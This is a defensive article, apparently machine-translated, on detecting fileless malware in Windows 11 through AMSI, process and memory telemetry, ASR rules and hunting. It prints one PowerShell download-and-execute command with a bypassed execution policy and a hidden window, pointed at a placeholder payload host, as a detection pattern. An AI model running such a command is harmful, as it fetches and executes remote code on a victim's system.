How to detect dangerous fileless malware in Windows 11

¿How to detect dangerous fileless malware? Fileless attack activity has grown significantly, and to make matters worse, Windows 11 is not immuneThis approach bypasses the disk and relies on memory and legitimate system tools; that's why signature-based antivirus programs struggle. If you're looking for a reliable way to detect it, the answer lies in combining telemetry, behavior analysis, and Windows controls.

In the current ecosystem, campaigns that abuse PowerShell, WMI, or Mshta coexist with more sophisticated techniques such as memory injections, persistence "without touching" the disk, and even firmware abusesThe key is to understand the threat map, the attack phases, and what signals they leave even when everything happens within RAM.

What is fileless malware and why is it a concern in Windows 11?

When we talk about "fileless" threats, we are referring to malicious code that You do not need to deposit new executables in the file system to operate. It is usually injected into running processes and executed in RAM, relying on interpreters and binaries signed by Microsoft (e.g., PowerShell, WMI, rundll32, mshtaThis reduces your footprint and allows you to bypass engines that only look for suspicious files.

Even office documents or PDFs that exploit vulnerabilities to launch commands are considered part of the phenomenon, because activate execution in memory without leaving useful binaries for analysis. Abuse of macros and DDE In Office, since the code runs in legitimate processes like WinWord.

Attackers combine social engineering (phishing, spam links) with technical traps: the user's click initiates a chain in which a script downloads and executes the final payload in memory, avoiding leaving a trace on the disk. The objectives range from data theft to ransomware execution, to silent lateral movement.

Typologies by footprint in the system: from 'pure' to hybrids

To avoid confusing concepts, it's helpful to separate threats by their degree of interaction with the file system. This categorization clarifies what persists, where does the code live, and what signs does it leave?.

Type I: no file activity

Completely fileless malware writes nothing to disk. A classic example is exploiting a network vulnerability (like the EternalBlue vector back in the day) to implement a backdoor residing in kernel memory (cases like DoublePulsar). Here, everything happens in RAM and there are no artifacts in the file system.

Another option is to contaminate the firmware of components: BIOS/UEFI, network adapters, USB peripherals (BadUSB-type techniques) or even CPU subsystems. They persist through restarts and reinstalls, with the added difficulty that Few products inspect firmwareThese are complex attacks, less frequent, but dangerous due to their stealth and durability.

Type II: Indirect archiving activity

Here, the malware doesn't "leave" its own executable, but uses system-managed containers that are essentially stored as files. For example, backdoors that plant powershell commands in the WMI repository and trigger its execution with event filters. It is possible to install it from the command line without dropping binaries, but the WMI repository resides on disk as a legitimate database, making it difficult to clean without affecting the system.

From a practical point of view they are considered fileless, because that container (WMI, Registry, etc.) It is not a classic detectable executable And its cleanup is not trivial. The result: stealthy persistence with little "traditional" trace.

Type III: Requires files to function

Some cases maintain a 'fileless' persistence At a logical level, they need a file-based trigger. The typical example is Kovter: it registers a shell verb for a random extension; when a file with that extension is opened, a small script using mshta.exe is launched, which reconstructs the malicious string from the Registry.

The trick is that these "bait" files with random extensions don't contain an analyzable payload, and the bulk of the code resides in the Register (another container). That's why they are categorized as fileless in impact, even though strictly speaking they depend on one or more disk artifacts as a trigger.

Vectors and 'hosts' of infection: where it enters and where it hides

To improve detection, it is vital to map the point of entry and the host of the infection. This perspective helps to design specific controls Prioritize appropriate telemetry.

exploits

• File-based (Type III): Documents, executables, legacy Flash/Java files, or LNK files can exploit the browser or the engine that processes them to load shellcode into memory. The first vector is a file, but the payload travels to RAM.
• Network-based (Type I): A package exploiting a vulnerability (e.g., in SMB) achieves execution in the userland or kernel. WannaCry popularized this approach. Direct memory load without new file.

Hardware

• Devices (Type I): Disk or network card firmware can be altered and code introduced. Difficult to inspect and persists outside the OS.
• CPU and management subsystems (Type I): Technologies such as Intel's ME/AMT have demonstrated pathways to Networking and execution outside the OSIt attacks at a very low level, with high potential stealth.
• USB (Type I): BadUSB allows you to reprogram a USB drive to impersonate a keyboard or NIC and launch commands or redirect traffic.
• BIOS / UEFI (Type I): malicious firmware reprogramming (cases like Mebromi) that runs before Windows boots.
• Hypervisor (Type I): Implementing a mini-hypervisor beneath the OS to conceal its presence. Rare, but already observed in the form of hypervisor rootkits.

Execution and injection

• File-based (Type III): EXE/DLL/LNK or scheduled tasks that launch injections into legitimate processes.
• Macros (Type III): VBA in Office can decode and execute payloads, including full ransomware, with the user's consent through deception.
• Scripts (Type II): PowerShell, VBScript or JScript from file, command line, services, Registration or WMIThe attacker can type the script in a remote session without touching the disk.
• Boot record (MBR/Boot) (Type II): Families like Petya overwrite the boot sector to take control at startup. It is outside the file system, but accessible to the OS and modern solutions that can restore it.

How fileless attacks operate: phases and signals

Although they don't leave executable files, the campaigns follow a phased logic. Understanding them allows for monitoring. events and relationships between processes that do leave a mark.

• Initial accessPhishing attacks using links or attachments, compromised websites, or stolen credentials. Many chains begin with an Office document that triggers a command PowerShell.
• Perseverance: backdoors via WMI (filters and subscriptions), Registry execution keys or scheduled tasks that relaunch scripts without a new malicious file.
• ExfiltrationOnce the information is collected, it is sent out of the network using trusted processes (browsers, PowerShell, bitsadmin) to mix traffic.

This pattern is especially insidious because the attack indicators They hide in normality: command-line arguments, process chaining, anomalous outbound connections, or access to injection APIs.

Common techniques: from memory to recording

The actors rely on a range of methods that optimize stealth. It's helpful to know the most common ones to activate effective detection.

• Resident in memory: Loading payloads into the space of a trusted process that waits for activation. rootkits and hooks In the kernel, they raise the level of concealment.
• Persistence in the RegistrySave encrypted blobs in keys and rehydrate them from a legitimate launcher (mshta, rundll32, wscript). The ephemeral installer can self-destruct to minimize its footprint.
• Credential phishingUsing stolen usernames and passwords, the attacker executes remote shells and plants silent access in Registry or WMI.
• 'Fileless' RansomwareEncryption and C2 communication are orchestrated from RAM, reducing opportunities for detection until the damage is visible.
• Operating kits: automated chains that detect vulnerabilities and deploy memory-only payloads after the user clicks.
• Documents with code: macros and mechanisms like DDE that trigger commands without saving executables to disk.

Industry studies have already shown notable peaks: in one period of 2018, a increase of more than 90% in script-based and PowerShell chain attacks, a sign that the vector is preferred for its effectiveness.

The challenge for companies and suppliers: why blocking is not enough

It would be tempting to disable PowerShell or ban macros forever, but You would break the operationPowerShell is a pillar of modern administration and Office is essential in business; blindly blocking is often not feasible.

Furthermore, there are ways to bypass basic controls: running PowerShell through DLLs and rundll32, packaging scripts into EXEs, Bring your own copy of PowerShell or even hide scripts in images and extract them into memory. Therefore, the defense cannot be based solely on denying the existence of tools.

Another common mistake is delegating the entire decision to the cloud: if the agent has to wait for a response from the server, You lose real-time preventionTelemetry data can be uploaded to enrich the information, but the Mitigation must occur at the endpoint.

How to detect fileless malware in Windows 11: telemetry and behavior

The winning strategy is monitor processes and memoryNot files. Malicious behaviors are more stable than the forms a file takes, making them ideal for prevention engines.

• AMSI (Antimalware Scan Interface)It intercepts PowerShell, VBScript, or JScript scripts even when they are dynamically constructed in memory. Excellent for capturing obfuscated strings before execution.
• Process monitoring: start/finish, PID, parents and children, routes, command lines and hashes, plus execution trees to understand the full story.
• Memory analysis: detection of injections, reflective or PE loads without touching the disk, and review of unusual executable regions.
• Starter sector protection: control and restoration of the MBR/EFI in case of tampering.

In the Microsoft ecosystem, Defender for Endpoint combines AMSI, behavior monitoringMemory scanning and cloud-based machine learning are used to scale detections against new or obfuscated variants. Other vendors employ similar approaches with kernel-resident engines.

Realistic example of correlation: from document to PowerShell

Imagine a chain where Outlook downloads an attachment, Word opens the document, active content is enabled, and PowerShell is launched with suspicious parameters. Proper telemetry would show the Command line (e.g., ExecutionPolicy Bypass, hidden window), connecting to an untrusted domain and creating a child process that installs itself in AppData.

An agent with local context is capable of stop and reverse malicious activity without manual intervention, in addition to notifying the SIEM or via email/SMS. Some products add a root cause attribution layer (StoryLine-type models), which points not to the visible process (Outlook/Word), but to the full malicious thread and its origin to comprehensively clean up the system.

A typical command pattern to watch out for might look like this: powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden (New-Object Net.WebClient).DownloadString('http//dominiotld/payload');Logic is not the exact string, but the set of signals: policy bypass, hidden window, clear download, and in-memory execution.

AMSI, pipeline and role of each actor: from the endpoint to the SOC

Beyond script capture, a robust architecture orchestrates steps that facilitate investigation and response. The more evidence before executing the load, the better., best.

• Script interceptionAMSI delivers the content (even if it is generated on the fly) for static and dynamic analysis in a malware pipeline.
• Process eventsPIDs, binaries, hashes, routes, and other data are collected. arguments, establishing the process trees that led to the final load.
• Detection and reportingThe detections are displayed on the product console and forwarded to network platforms (NDR) for campaign visualization.
• User guaranteesEven if a script is injected into memory, the framework AMSI intercepts it in compatible versions of Windows.
• Administrator capabilities: policy configuration to enable script inspection, behavior-based blocking and creating reports from the console.
• SOC work: extraction of artifacts (VM UUID, OS version, script type, initiator process and its parent, hashes and command lines) to recreate the history and lift rules future.

When the platform allows exporting the memory buffer Associated with the execution, researchers can generate new detections and enrich the defense against similar variants.

Practical measures in Windows 11: prevention and hunting

In addition to having EDR with memory inspection and AMSI, Windows 11 lets you close attack spaces and improve visibility with native controls.

• Registration and restrictions in PowerShellEnables Script Block Logging and Module Logging, applies restricted modes where possible, and controls the use of Bypass/Hidden.
• Attack Surface Reduction (ASR) Rules: blocks script launches by Office processes and WMI abuse/PSExec when not needed.
• Office macro policies: disables by default, internal macro signing and strict trust lists; monitors legacy DDE flows.
• WMI Audit and Registry: monitors event subscriptions and automatic execution keys (Run, RunOnce, Winlogon), as well as task creation scheduled.
• Startup protection: activates Secure Boot, checks MBR/EFI integrity and validates that there are no modifications at startup.
• Patching and hardening: closes exploitable vulnerabilities in browsers, Office components, and network services.
• awareness: trains users and technical teams in phishing and signals of covert executions.

For hunting, focus on queries about: creating processes by Office towards PowerShell/MSHTA, arguments with downloadstring/downloadfileScripts with clear obfuscation, reflective injections, and outbound networks to suspicious TLDs. Cross-reference these signals with reputation and frequency to reduce noise.

What can each engine detect today?

Microsoft's enterprise solutions combine AMSI, behavioral analytics, examine memory and boot sector protection, plus cloud-based ML models to scale against emerging threats. Other vendors implement kernel-level monitoring to differentiate malicious from benign software with automatic rollback of changes.

An approach based on execution stories It allows you to identify the root cause (for example, an Outlook attachment that triggers a chain) and mitigate the entire tree: scripts, keys, tasks, and intermediate binaries, avoiding getting stuck on the visible symptom.

Common mistakes and how to avoid them

Blocking PowerShell without an alternative management plan is not only impractical, but there are also ways to invoke it indirectlyThe same applies to macros: either you manage them with policies and signatures, or the business will suffer. It's better to focus on telemetry and behavioral rules.

Another common mistake is believing that whitelisting applications solves everything: fileless technology relies precisely on this. trusted appsThe control should observe what they do and how they relate, not just whether they are allowed.

With all of the above, fileless malware ceases to be a "ghost" when you monitor what really matters: behavior, memory, and origins of each execution. Combining AMSI, rich process telemetry, native Windows 11 controls, and an EDR layer with behavioral analysis gives you the advantage. Add to the equation realistic policies for macros and PowerShell, WMI/Registry auditing, and hunting that prioritizes command lines and process trees, and you have a defense that cuts these chains before they make a sound.